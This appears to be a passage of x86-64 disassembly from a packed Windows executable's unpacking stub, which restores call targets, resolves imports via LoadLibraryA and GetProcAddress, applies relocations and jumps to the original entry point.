pop rbx
jmp 0x1418f22a9
cmp rsi, rcx
jae 0x1418f22b1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1418f2290
cmp al, 0x8f
ja 0x1418f2290
cmp byte [rsi - 2], 0xf
je 0x1418f2296
sub al, 0xe8
cmp al, 1
ja 0x1418f227a
cmp rsi, rcx
jae 0x1418f22b1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1418f2280
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1418f22b1
lodsb al, byte [rsi]
jmp 0x1418f2290
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x18ee000]
mov eax, dword [rdi]
or eax, eax
je 0x1418f231a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x19083bc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1418f22be
jns 0x1418f22f3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1418f22fd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1418f2314
mov qword [rbx], rax
add rbx, 8
jmp 0x1418f22de
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1418f235e
cmp al, 0xef
ja 0x1418f2346
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1418f2326
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1418f2335
mov eax, dword [rdi]
add rdi, 4
jmp 0x1418f2335
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x25f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1418f23b2
sub rsp, 0xffffffffffffff80
jmp 0x1400dc688